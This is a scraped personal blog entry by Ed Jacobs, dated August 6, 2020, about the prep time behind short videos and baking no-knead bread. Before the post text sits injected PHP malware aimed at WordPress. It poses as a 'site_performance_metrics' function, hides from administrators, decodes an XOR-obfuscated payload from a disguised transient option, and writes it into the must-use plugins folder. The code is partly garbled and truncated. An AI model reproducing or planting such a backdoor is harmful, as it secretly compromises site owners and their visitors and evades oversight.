if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Thursday, August 6, 2020 - EDWARD JACOBS

EDWARD JACOBS

Thursday, August 6, 2020

Written by

Ed Jacobs

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More video-making, more learning about the importance of getting each vid’s screen-shots or slideshow, or music-files all lined up and ready before actually ‘shooting’ the video. The last few videos have gone smoothly, really just one-shot deals; but I’m finding that each 1′ of video takes about 1 hour of prep-time to properly set up.

In the meantime, the NYTimes “no-knead bread” recipe has again succeeded in being both a welcome distraction and a source of wonderful aromatherapy. And it’ll be good eatin’, too. [It’s an easy, easy alternative to the more time-intensive loaves I make more often; and its crust is just so perfect.]

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